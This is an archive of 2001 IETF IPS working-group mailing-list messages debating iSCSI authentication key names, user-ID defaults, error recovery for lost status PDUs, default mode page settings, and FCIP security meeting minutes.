Date: Thu, 20 Sep 2001 11:45:13 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/20/2001 12:46:04 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Paul, Steve, I understand your point, however, with duplication you often cause hard to detect errors. Often I have looked at two similar strings and have had difficulty in seeing minor differences in them. When administrators, or end-users are the ones that are attempting to enter what maybe very long strings (in the case of iSCSI Initiator Node Names), you can imagine the finger checks maybe an important problem. Also if you think through the process of how a UserID is obtained, by the Initiator, you see that it is the end-user/administrator that must enter the value. You would certainly want the end-user or administrator to have the capability of not entering the UserID if it is the same as the iSCSI Node Name. In this case, a good implementation (if the UserID is not entered) will include code to find and replicate the iSCSI Initiator Node Name as a UserID. Again, this is not a hard problem, just another thing to handle. I just think it would be useful and simpler, to include in our documentation a statement that says that the Default for U= or N = etc., if not entered, is the iSCSI Initiator Node Name. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com "CONGDON,PAUL (HP-Roseville,ex1)" on 09/20/2001 10:13:57 AM To: "'Steve Senum'" , John Hufferd/San Jose/IBM@IBMUS cc: ietf-ips Subject: RE: iSCSI: U= in Authentication I agree with Steve here. The most likely deployment will be to use InitiatorName as UserID whenever possible, but it doesn't seem necessary to force that or allow the option to omit a name in one phase or another. Paul -----Original Message----- From: Steve Senum [mailto:ssenum@cisco.com] Sent: Thursday, September 20, 2001 9:38 AM To: John Hufferd Cc: ietf-ips Subject: Re: iSCSI: U= in Authentication John, My opinion on this is: What you are calling the UserID (i.e., U= for SRP, N= for CHAP), could be the same as the iSCSI Initiator Name, but it should not be required to be so. I see the N= within CHAP (or U= for SRP) being used for authentication, the process of verifying the Initiator is who it claims to be. I also see it as an integral part of the chosen AuthMethod. I see the InitiatorName= being used for authorization, the process of verifying what resources the Initiator can access. There are two reasons I can think of that the two names would be different: 1. The particular AuthMethod, or the implementation of some third party authentication server, might restrict what form a name can take that is not compatible with iSCSI naming. 2. A group of Initiators might be configured to use the same name for authentication purposes, simply because they are being managed as a group for authentication purposes. Steve Senum John Hufferd wrote: > > OK then Steve, and others I would be interested in your answers to the > following questions: > > If the UserID is exactly the same as the iSCSI Initiator Name, why would it > be entered again? > > If the UserID is different, why was the iSCSI initiator Name required? It > is only used as: > 1. A unique string that can ensure that the full Session identification is > unique, The UserID can do that. > 2. As an Authentication String. The UserID can do that. > > If the same users wants access to different storage from different systems, > that user can have a unique UserID for each system. > > If the User wants the same storage access from different systems, serially, > then that user can use the same UserID on each system. > > So is the UserID a substitute for iSCSI Initiator Name? > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > Steve Senum @ece.cmu.edu on 09/19/2001 03:27:08 PM > > Sent by: owner-ips@ece.cmu.edu > > To: ietf-ips > cc: > Subject: Re: iSCSI: U= in Authentication > > I don't think it should be possible to omit > the usernames for AuthMethods SRP and CHAP. > > On the SRP and CHAP key names, I am mostly netural, > though I would prefer ChapId instead of ChapID. > Since they are AuthMethod specific though, I don't > really see the need to change them. > > Steve Senum > > "CONGDON,PAUL (HP-Roseville,ex1)" wrote: > > > > I agree that more clarification regarding how to associate SCSI Names > with > > user identities should be provided. I'm not sure if I agree that it > should > > be possible to omit the names entirely - however. This would provide > > another optional way to approach the exchange (may provide or may not) > which > > adds complexity to this portion of the code, more test cases, more > > unnecessary options, etc.. As you've mentioned it may also be different > > depending upon the authentication method in use. There is certainly room > for > > improvement here. > > > > I have a bit of a gripe about the key=value pairs during authentication > > phase in general. First of all, the key names are not very descriptive, > > which defeats the purpose of using Text keys in the first place (in my > > opinion). Secondly and more importantly, there are key values that are > not > > unique and depend upon what authentication method is in progress in order > to > > decode/parse them. For example, A=5 in CHAP for algorithm selection is > > completely different that A=2345 in SRP. Also N=initiatorName in CHAP is > > totally different than N=5678 in SRP. It would be much easier if the > text > > command parser didn't have to consider what authentication method was > > running and that all key values were unique. Thus I propose making the > > following name changes to CHAP and SRP key values. I'm not too concerned > > about the exact key names used, just that they are somewhat descriptive > and > > unique. > > > > CHAP Key Values > > > > Old New > > --- -------- > > A ChapAlgorithm > > I ChapID > > N ChapUser > > C ChapChallenge > > R ChapResponse > > > > SRP Key Values > > > > Old New > > --- --- > > U SrpUser > > N SrpSafePrime > > g SrpGenerator > > s SrpSalt > > A SrpPubKeyA > > B SrpPubKeyB > > M SrpSessionKey > > HM SrpKeyProof > > > > Paul > > > > +------------------------------------------+ > > Paul Congdon > > HP ProCurve Networking > > Hewlett Packard Company > > 8000 Foothills Blvd - M/S 5662 > > Roseville, CA 95747 > > phone: 916-785-5753 > > email: paul_congdon@hp.com > > +------------------------------------------+ > > > > -----Original Message----- > > From: John Hufferd [mailto:hufferd@us.ibm.com] > > Sent: Tuesday, September 18, 2001 6:22 PM > > To: Julian Satran; Ofer_Biran/Haifa/IBM%IBMUS; mbakke@cisco.com; > > jtseng@NishanSystems.com > > Cc: ips@ece.cmu.edu > > Subject: iSCSI: U= in Authentication > > > > Folks, > > I think we should indicate in the Security section of the document how > the > > security Authentication process might validate that the iSCSI Initiator > > Name sent in the Initial Login, has something approprate to do with the > > "user" being authenticated. (Otherwise, you could authenticate a user > and > > that user could claim/use any iSCSI Initiator Name in the InitiatorName > > key=value pair. > > > > It is kind of obvious how to relate the U= to the approprate iSCSI > > Initiator Name (in the case of SRP), and little less obvious with Chap, > > though I think it would be the N= parameter. However, it is really > not > > obvious when using Kerberos, and SPKM. > > > > It also should be possible for the initiator not to send another UserID, > if > > the Security Data Base the customer uses can support the iSCSI Initiator > > Name as a UserID. That is, it should be possible for the U= > > parameter not to be sent,and have that imply the value of is the > > iSCSI Initiator Node Name entered previously as a value in the > InitiaorName > > key=value pair. Same way with the N= in Chap. > > > > However, it is not clear, how you do similar things with Kerberos, and > > SPKM. > > > > What do you folks think about this, and how should we document it? > > > > . > > . > > . > > John L. Hufferd > > Senior Technical Staff Member (STSM) > > IBM/SSG San Jose Ca > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > Home Office (408) 997-6136 > > Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Thu Sep 20 16:20:31 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA22311 for ; Thu, 20 Sep 2001 16:20:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KJCs303873 for ips-outgoing; Thu, 20 Sep 2001 15:12:54 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KJCpP03867 for ; Thu, 20 Sep 2001 15:12:52 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel1.hp.com (Postfix) with ESMTP id A20BED1A for ; Thu, 20 Sep 2001 12:12:47 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id MAA15163 for ; Thu, 20 Sep 2001 12:12:43 -0700 (PDT) Message-ID: <3BAA4128.762582E6@cup.hp.com> Date: Thu, 20 Sep 2001 12:19:04 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: IPS Reflector Subject: iscsi : OpParmreset Content-Type: multipart/mixed; boundary="------------FB9E2A2A3CC74C2BC5E64F22" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------FB9E2A2A3CC74C2BC5E64F22 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit All, Please refer the definition of OpParmReset login key. " 30 OpParmReset OpParmReset enables an Initiator or Target to request the operational parameters to be reset to the values they had before the negotiation." I suggest that the definition be re-worded to state that the OpParmReset enables an initiator or target to reset the operational parameters to their DEFAULT VALUES. [instead of the current definition that states that the parameters are reset to the values they had prior to the current negotiation.] The current definition requires the initiator to maintain 2 sets of operational parameter values, the current and the previous. In the case where initiator is just booting up, if the target sets OpParmReset to "yes", the initiator does not know what to set the op params to, since it has lost its prior state information. Comments ? Thanks, Santosh --------------FB9E2A2A3CC74C2BC5E64F22 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------FB9E2A2A3CC74C2BC5E64F22-- From owner-ips@ece.cmu.edu Thu Sep 20 17:00:40 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA23227 for ; Thu, 20 Sep 2001 17:00:34 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KJMcg04657 for ips-outgoing; Thu, 20 Sep 2001 15:22:38 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lightsand.com ([64.214.104.163]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KJMVP04647 for ; Thu, 20 Sep 2001 15:22:31 -0400 (EDT) Received: from muralipc ([192.168.2.58]) by lightsand.com (8.9.3+Sun/8.9.1) with SMTP id MAA19751 for ; Thu, 20 Sep 2001 12:22:16 -0700 (PDT) From: "Murali Rajagopal" To: Subject: FCIP: Authors 9/19 Meeting Minutes Date: Thu, 20 Sep 2001 12:23:25 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Importance: Normal Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Meeting Minutes submitted by Robert Snively, Brocade The meeting considered the following subjects. 1) Security Page 8, item 12 This led to the following proposed change in 8.3.1: The second paragraph must be clarified to indicate that Null Encryption is not required if data integrity is not specified. No confidentiality + Yes Data Integrity = ESP with null encryption. Concern by Larry Lamers about definition of counter mode. At present, the document references an IETF document which has not yet been provided. The document is a reference document, but not yet an IETF draft. Ralph will make the corresponding change. FCIP requirements for AES. At present, the next to the last paragraph of 8.3.1 is suspect. The 1 and 10 Gig implementations will require AES with counter mode, but the previous sentence provides all the "musts" and "shoulds" independently. Larry suggests more detailed tutorials or else removing the paragraph. Ralph will remove the offending paragraph. 8.1, item 3 The grammar of the sentence was corrected. 8.1, item 4 "Validly and invalid formed" s/b " Valid and invalid". 8.2, item 1 "policy" s/b "policies". 8.3.2, third paragraph "PFS" s/b "PFS (Perfect Forward Secrecy)". The reference is IKE, RFC 2409. 8.3.2, eighth paragraph "the FCIP" s/b "FCIP". 8.4.3, first sentence The comment was withdrawn. 8.4.1, page 28, second line "performed" s/b "completed". Aggressive vs. Main Mode: Aggressive mode is needed if you use group pre-shared keys because there are holes in main mode. We recommend against group pre-shared keys. Because many gateways do not support aggressive mode, main mode is mandatory and aggressive mode is optional to implement. This is part of the negotiation during IKE phase 1. Tunnel vs. Transport: Venkat has requested information from William Dixon. Static IP Addresses: Venkat has requested information from William Dixon. 2) Publication The document is ready for NAPT. NAPT should probably go out separately first. Elizabeth suggests sending out the draft with security and without NAPT to IETF. At present, there are no "open" issues. 3) NAPT The preliminary proposals for handling NAPT environments were discussed. After the authors' discussion next week refines those preliminary proposals, a NAPT proposal will be published for broader review." 4) Next meeting The next meeting will be arranged by Cisco. Murali will contact David Peterson to be sure that he is available. ATTENDEES: Murali Rajagopal LightSand Communications Raj Bhagwat LightSand Communications Andy Helland LightSand Communications Anil Rijhsinghani McData Larry Lamers SAN Valley Jim Nelson Vixel Corporation Don Fraser Compaq Computer Corp. Milan Merhar Pirus Networks Venkat Rangan Rhapsody Networks Bob Snively Brocade Communications Ralph Weber ENDL Texas, for Brocade Vi Chau Gadzoox Networks Elizabeth Rodriguez Lucent Technology From owner-ips@ece.cmu.edu Thu Sep 20 18:45:06 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA25814 for ; Thu, 20 Sep 2001 18:45:05 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KLj3v14358 for ips-outgoing; Thu, 20 Sep 2001 17:45:03 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lightsand.com ([64.214.104.163]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KLivP14346 for ; Thu, 20 Sep 2001 17:44:57 -0400 (EDT) Received: from muralipc ([192.168.2.58]) by lightsand.com (8.9.3+Sun/8.9.1) with SMTP id OAA22938 for ; Thu, 20 Sep 2001 14:44:51 -0700 (PDT) From: "Murali Rajagopal" To: Subject: FCIP: Status Date: Thu, 20 Sep 2001 14:45:59 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Importance: Normal In-Reply-To: Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit A quick note on the Status of the FCIP draft: The 06 version of the draft has addressed all major issues except one - NAPT. The group will focus on this topic next. -Murali From owner-ips@ece.cmu.edu Thu Sep 20 19:47:35 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA26707 for ; Thu, 20 Sep 2001 19:47:34 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KNEDr19553 for ips-outgoing; Thu, 20 Sep 2001 19:14:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KNECP19548 for ; Thu, 20 Sep 2001 19:14:12 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by palrel13.hp.com (Postfix) with ESMTP id 9F3C51F51A; Thu, 20 Sep 2001 16:13:54 -0700 (PDT) Received: from rose.hp.com (hpsil34.rose.hp.com [15.43.211.225]) by core.rose.hp.com with ESMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id QAA23229; Thu, 20 Sep 2001 16:15:15 -0700 (PDT) Message-Id: <200109202315.QAA23229@core.rose.hp.com> Date: Thu, 20 Sep 2001 16:25:15 -0700 From: "Mallikarjun C." Reply-To: cbm@rose.hp.com Organization: Hewlett-Packard, Roseville X-Mailer: Mozilla 4.73 [en] (X11; U; HP-UX B.10.20 9000/715) X-Accept-Language: en MIME-Version: 1.0 To: Barry Reinhold Cc: ips Subject: Re: iSCSI:Intent of sec. 8.4 of draft 07-95 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Barry, Let me comment on your question. A lost status PDU causes more than a SCSI timeout to the concerned task! A lost status creates a gap in the StatSN space that prevents the initiator to acknowledge any StatSNs after the gap. Either the lost status has to be recovered, or the connection has to be done away with - that's what the quoted text is describing. Please refer to the following URL and its related thread for additional discussion on the editing philosophy behind error recovery details in the draft - specifically the internal implementation Vs on-the-wire aspects of error recovery. http://www.pdl.cmu.edu/mailinglists/ips/mail/msg06564.html Regards. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com Barry Reinhold wrote: > > Clause 8.4 states: > > "- If the discarded PDU is a response PDU, initiator MUST do > one of the following - > a) Request PDU retransmission with a status SNACK. > [OR] > b) Logout the connection for recovery and continue > the tasks on a different connection instance as > described in section 7.1. [OR] > c) Logout to close the connection (abort all the > commands associated with the connection) " > > Is it the intent of the draft to eliminate the action of just dropping the > PDU. (i.e. allowing error recovery by having a SCSI timeout?) > > Barry Reinhold > Principal Architect > Trebia Networks > barry.reinhold@trebia.com > 603-868-5144/603-659-0885/978-929-0830 x138 From owner-ips@ece.cmu.edu Thu Sep 20 19:47:55 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA26721 for ; Thu, 20 Sep 2001 19:47:55 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KMn7r18175 for ips-outgoing; Thu, 20 Sep 2001 18:49:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KMn4P18166 for ; Thu, 20 Sep 2001 18:49:04 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel12.hp.com (Postfix) with ESMTP id 0C0EA1F5B9 for ; Thu, 20 Sep 2001 10:48:59 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id PAA02324 for ; Thu, 20 Sep 2001 15:48:54 -0700 (PDT) Message-ID: <3BAA73D5.4AE63A0D@cup.hp.com> Date: Thu, 20 Sep 2001 15:55:17 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: ISCSI Subject: Re: iSCSI:Intent of sec. 8.4 of draft 07-95 References: Content-Type: multipart/mixed; boundary="------------29338FF0ED1DF93CF94348D7" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------29338FF0ED1DF93CF94348D7 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Barry Reinhold wrote: > Clause 8.4 states: > > "- If the discarded PDU is a response PDU, initiator MUST do > one of the following - > a) Request PDU retransmission with a status SNACK. > [OR] > b) Logout the connection for recovery and continue > the tasks on a different connection instance as > described in section 7.1. [OR] > c) Logout to close the connection (abort all the > commands associated with the connection) " > > Is it the intent of the draft to eliminate the action of just dropping the > PDU. (i.e. allowing error recovery by having a SCSI timeout?) Barry, While the "discard PDU" technique works fine for data-in & r2t pdu's, it does not work well for status pdu's, due to the current model of statsn acknowledgement. If you dropped the status pdu's and did not use SNACK, you would be unable to acknowledge any further status pdu's on that connection, and the target would be unable to release any further status PDU resources on that connection. Eventually, the target is likely to run out of resources and take some action like dropping the connection or session. Thus, once a statsn is dropped, you will have to perform one of the actions listed above or could even perform session logout. [un-listed option.]. This is a direct dis-advantage of the statsn acknowledgement scheme which is a -ve snack. if an in-band technique of positive status acknowledgement were provided, wherein, the initiator sent a statsn +ve ack indicating the status pdu's she has received, one could use the "discard pdu" technique with staus pdu's as well. This +ve ack mechanism has been suggested for status pdu's but has not been accepted [yet]. I'm in favor of the simple "discard pdu" approach since it works fine for most initiator implementations and is the standard practice with SCSI-FCP initiators. [FCP, not FCP-2]. Regards, Santosh --------------29338FF0ED1DF93CF94348D7 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------29338FF0ED1DF93CF94348D7-- From owner-ips@ece.cmu.edu Thu Sep 20 19:50:48 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA26764 for ; Thu, 20 Sep 2001 19:50:47 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KN7ox19238 for ips-outgoing; Thu, 20 Sep 2001 19:07:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KN7lP19232 for ; Thu, 20 Sep 2001 19:07:48 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1940081; Thu, 20 Sep 2001 16:07:48 -0700 Message-ID: <3BAA77B1.3C87DEDA@redswitch.com> Date: Thu, 20 Sep 2001 16:11:45 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Julian Satran , ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI - Another Typo? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian: Refering to iSCSI-07 bottom of Page 38: iSCSI Target Requirements: a) The iSCSI Name should be configurable parameter of each target portal group. b) The TSID name space of the iSCSI "Initiator" should be partitioned among the target portal groups. Refering to the quoted text, do you not mean Target? After all this section is titled iSCSI Target Requirements. Thanks for the help. Thomas Dineen From owner-ips@ece.cmu.edu Thu Sep 20 20:43:14 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA27271 for ; Thu, 20 Sep 2001 20:43:09 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KNlvN21250 for ips-outgoing; Thu, 20 Sep 2001 19:47:57 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KNltP21242 for ; Thu, 20 Sep 2001 19:47:55 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel10.hp.com (Postfix) with ESMTP id EA92E1F684; Thu, 20 Sep 2001 16:47:49 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id QAA06813; Thu, 20 Sep 2001 16:47:45 -0700 (PDT) Message-ID: <3BAA81A0.E969A55F@cup.hp.com> Date: Thu, 20 Sep 2001 16:54:08 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: Julian Satran Cc: IPS Reflector Subject: Re: iSCSI : default iscsi mode page settings. References: Content-Type: multipart/mixed; boundary="------------9BC6D2791F58F58910420D94" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------9BC6D2791F58F58910420D94 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Julian Satran wrote: > Santosh, > > Please help this list by pointing to the specific SCSI standards where the > mode page settings a) forbid default values Julian, I can't find anything in the scsi protocol standards (SPC-2, SAM-2) that explicitly forbid default setting specification for mode pages. However, per my understanding, this is not the usual practice and mode page defaults are device specific. [which is also what Charles Binford & Bob Snively seemed to imply in their mails.) However, even if iscsi did recommend a profile of mode page defaults in the draft, such defaults are not to be binding on implementations and should only be suggested as a recommendation. i.e. the draft must not require that all devices use the same values in their default mode pages. Further, such defaults need to allow initiators to function correctly without requiring explicit mode sense/select. Thus, any such default must be conservative in its settings for EMDP and FirstBurstSize. (both set to 0 by default). > b) specify what the initial > (power-on, connection establishment) values have to be for any protocol. There's a reference to this in Section 7.8.6 of SPC-2 Rev 20 (dated 18 July, 2001). Thanks, Santosh > > Regards, > Julo > > > Santosh Rao > > hp.com> cc: > Sent by: Subject: iscsi : default iscsi mode page > owner-ips@ece. settings. > cmu.edu > > > 20-09-01 03:04 > Please respond > to Santosh Rao > > > > All, > > Speaking on the subject of default settings, some questions on recent > changes to the iscsi mode select pages...... > > 1) Section 3 of rev 7.94 of the iscsi draft attempts to call out default > values for the iscsi mode pages. Per my understanding, there are no > defaults for SCSI mode pages, and all the setting are assumed to be > disabled, unless explicitly turned on/enabled through a mode select. > > IOW, the keys in scsi mode pages are defined to be enabling certain > features and the default settings are that these features are turned off > unless a mode select is explicitly used to enable them. > > However, the iscsi mode pages seems to be using the opposite policy and > is advertising default settings for mode pages, that too, agreesive ones > at that! IOW, an initiator implemenation has to explicitly issue a mode > select to disable/turn_off features rather than issue a mode select to > turn them on. > > Here's a few examples : > > * default MaximumBurstSize : 512 units > * default EMDP : 1 (i.e. modify data pointers is enabled by default > !) > * default FirstBurstSize : 128 units. (i.e. initiators MUST use > solicited > data, unless they explicitly turn it off using mode select, since, > not > sending solicited data when it has been negotiated implies a target > may > abort the I/O. > > I suggest that in keeping with the scsi mode pages, NO default settings > be advertised for any iscsi mode > pages. i.e. all defaults are conservative (set to 0), unless explicitly > turned on thru a mode select. > > Comments ? > > Regards, > Santosh > > "Mallikarjun C." wrote: > > > Matthew, > > > > I completely agree that the default should be "no"! I pointed this > > out sometime ago myself. Apart from what you point out, the default > > setting for "ImmediateData" seems to be at variance with the > > conservative default for "InitialR2T" ("yes"). > > > > Julian, could you please consider this request? > > > > Regards. > > -- > > Mallikarjun > > > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > > > Julian, > > > > > > Appendix D24 (ImmediateData) does not describe the result of > negotiation if > > > the two sides differ. I presume that since the default is "yes", > then only > > > if both sides agree to "no" is immediate data turned off. Please > can this > > > be stated. > > > > > > Additionally, I feel that the default value for ImmediateData should > be > > > "no". > > > > > > Similarly, there is no statement on MaxOutstandingR2T. Presumable > the > > > minimum is selected. > > - santoshr.vcf --------------9BC6D2791F58F58910420D94 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------9BC6D2791F58F58910420D94-- From owner-ips@ece.cmu.edu Thu Sep 20 20:44:42 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA27285 for ; Thu, 20 Sep 2001 20:44:42 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KNboa20750 for ips-outgoing; Thu, 20 Sep 2001 19:37:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KNbnP20744 for ; Thu, 20 Sep 2001 19:37:49 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel10.hp.com (Postfix) with ESMTP id 6F3A51F584 for ; Thu, 20 Sep 2001 16:37:43 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id QAA05913; Thu, 20 Sep 2001 16:37:39 -0700 (PDT) Message-ID: <3BAA7F41.92FEA97D@cup.hp.com> Date: Thu, 20 Sep 2001 16:44:02 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: IPS Reflector Subject: RE: iscsi : default iscsi mode page settings. References: 